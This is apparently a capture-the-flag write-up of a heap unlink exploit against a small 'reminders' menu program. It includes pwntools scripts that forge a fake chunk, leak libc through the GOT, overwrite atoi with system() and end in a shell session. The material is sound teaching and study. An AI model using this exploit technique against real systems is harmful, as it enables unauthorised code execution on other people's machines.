From first glance on the source code, one could possibly guess that the program might be vulnerable to heap unlink attack, because in function change_events()
, the size of input string is not checked and therefore could be exploited to overwrite the chunk header of the next event:
// read event index
read(0,indexbuf,8);
index = atoi(indexbuf);
if(eventlist[index].event_string){
// read string length
read(0,lengthbuf,8);
length = atoi(lengthbuf);
// read string to buffer
readsize = read(0,eventlist[index].event_string,length);
*(eventlist[index].event_string + readsize) = '\x00';
}
However, because of the sanity check in modern glibc FD->bk != P || BK->fd != P
, it is not trivial to launch the unlink attack. Because in this case the unlink vulunerbility can only be exploited to read/write the pointer of chunks, not arbitary locations in the memory. After a careful and throughout inspection on the source code, we found that there is a table that stores the pointers to every events which will be placed in bss section during run-time:
struct event{
char *event_string ;
int size ;
int priority ;
};
struct event eventlist[100] = {0};
and the memory layout of bss section looks like follows:
Now we could conclude that unlink attack in this case is launchable, because there is a piece of memory that stores the pointer to the victim chunk, such that we could set the faked bk
pointer refering to a bss location X
such that X+0x18 = P
and pass the sanity check.
Remember that our ultimate goal is to write and read arbitary memory address exploiting unlink procedure during chunk free. To achieve so, a simple gadget is constructed to take over the read/write control of the eventlist:
If we can take over cocntrol of the pointer at bss+0x8
, then we could read and modify any pointers in the eventlist by show_event()
function. Using the forged pointer, we could invoke change_event()
to modify content on any addresses and perform consequent attack. This condition can be simple achieved using unlink
, and in the next section I will introduce it step by step.
Before heading to the detailed attack procedure, four basic functions need to be defined in the script:
def show_event():
p.recvuntil('Your choice:')
p.sendline('1')
def add_event(size, pri, content):
p.recvuntil('Your choice:')
p.sendline('2')
p.recvuntil('length of event string:')
p.sendline(str(size))
p.recvuntil('priority of event :')
p.sendline(str(pri))
p.recvuntil('enter the event string:')
p.sendline(content)
def change_event(idx, size, pri, content):
p.recvuntil('Your choice:')
p.sendline('3')
p.recvuntil('enter the index of event:')
p.sendline(str(idx))
p.recvuntil('length of new event string:')
p.sendline(str(size))
p.recvuntil('the priority of new event:')
p.sendline(str(pri))
p.recvuntil('the new event string:')
p.sendline(content)
def remove_event(idx):
p.recvuntil('Your choice:')
p.sendline('4')
p.recvuntil('enter the index of event:')
p.sendline(str(idx))
Then, we locate starting address of eventlist
eventlist_start_address = plib.bss() + 0x20
eventlist_offset = 0x10
In this exploitation, we first construct 3 chunks in the heap. The usage of each chunk are described as follow:
- chunk1: used for storing fake chunk
- chunk2: used for trigger unlink vulnerability
- chunk3: used for read/edit got table
add_event(0x80, 0, 'a' * 0x80)
add_event(0x80, 0, 'b' * 0x80)
add_event(0x80, 0, 'f' * 0x80)
For simplicity, each chunk occupies 128 bytes. The initial heap and bss layout should be like this:
We seek to take over control of a pointer refering to the bss section, so we construct a fake chunk embodied in the first chunk and set the fd and bk field correspondingly:
fakeChunk = b"a" * 8 # dummy prev_size (8bytes)
fakeChunk += p64(0x81) # size (8 bytes)
fakeChunk += p64(eventlist_start_address - 0x18) # fake FD ptr (8 bytes)
fakeChunk += p64(eventlist_start_address - 0x10) # fake BK ptr (8 bytes)
Need to mention that, the fd
and bk
pointer of fake chunk could successfully pass the sanity check.
To successfully launch the unlink attack, we need to modify the header data of chunk 2 also:
fakeChunk += b"d" * 0x60 # 0x60 place holder
fakeChunk += p64(0x80) + p64(0x90) + b'\x00' # overwrite header of chunk 2
Then, we use change_event
function to set the content. Because change_event()
will not check the boundary of input string, the header data of the second chunk will be overwrited:
change_event(0, 0xa0, 0, fakeChunk)
After the overwritting, the heap layout looks like this:
Then, we trigger the unlink hehaviour by freeing out the second chunk:
remove_event(1)
During the unlink process, following assignment takes place:
BK->fd = FD
<=> fakechunk->BK->fd = fakechunk->FD
<=> (&eventlist[0]-0x10)->fd = &eventlist[0] - 0x18
<=> (*(&eventlist[0]-0x10)+0x10) = &eventlist[0] - 0x18
<=> eventlist[0] = &eventlist[0] - 0x18
Magically, we have the content of eventlist[0]->event_string
be a pointer to bss+0x8
:
From the source code, we identify that we could modify the referring address of got[atoi]
to the address of system()
, such that the shell could be called from user input. To achieve so, we use a auxiliary chunk 'chunk 3' to read got[atoi]
.
The following code will get the address of got-atoi from pwntool and set the content of &eventlist[2]
to this address.
atoi_addr = plib.got['atoi']
set_atoi_addr = b'a' * 24 + p64(eventlist_start_address - 0x18)
set_atoi_addr += b'a' * 8 + p64(eventlist_start_address - 0x18)
set_atoi_addr += b'a' * 8 + p64(atoi_addr)
set_atoi_addr += b'\x00'
print("atoi addr: ", hex(atoi_addr))
change_event(0, 65, 0, set_atoi_addr)
Then the content of got-atoi is leaked by calling show_event()
show_event()
p.recvuntil('2 : ')
leak = p.recvuntil('\n', drop=True)
leak = u64(leak[:4] + b"\x00\x00\x00\x00")
--------------------------- [OUTPUT] ---------------------------
address of eventlist: 0x6020a0
atoi addr: 0x602060
By simple calculation, we could get the corresponding offset of system()
function during runtime:
# calculate the libc base address
libc_base = leak - libc.symbols['atoi']
print('libc base: ' + hex(libc_base))
# get system addr
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
print('system addr: ' + hex(system_addr))
print('bin sh addr: ' + hex(binsh_addr))
sys_addr = p64((system_addr) + (0x7fff << 32))
--------------------------- [OUTPUT] ---------------------------
libc base: 0xf7a11000
system addr: 0xf7a57590
bin sh addr: 0xf7b9154
Remember that currently eventlist[2]->event_string
equals to the address of got[atoi]
, we could simply modify the content of it using change_event()
:
change_event(2, 7, 0, sys_addr + b'\x00')
After all previous steps have been taken, the address of atoi()
in got table has been changed to system()
. One simple step left is to call the shell from input!
read(0,choicebuf,8);
choice = atoi(choicebuf);
ubuntu@ubuntu-VirtualBox:~$ ./exploit.py
[*] '/home/ubuntu/files/reminders'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
address of eventlist: 0x6020a0
atoi addr: 0x602060
libc base: 0xf7a11000
system addr: 0xf7a57590
bin sh addr: 0xf7b91543
[*] Switching to interactive mode
0invaild choice.
----------------------------
Reminders Menu
----------------------------
1.show the events in the reminders
2.add a new event
3.change an event in the reminders
4.remove an event in the reminders
5.exit
----------------------------
Your choice:$ whoami
ubuntu
$ pwd
/home/ubuntu
$ echo "control flow has been took over!"
control flow has been took over!
$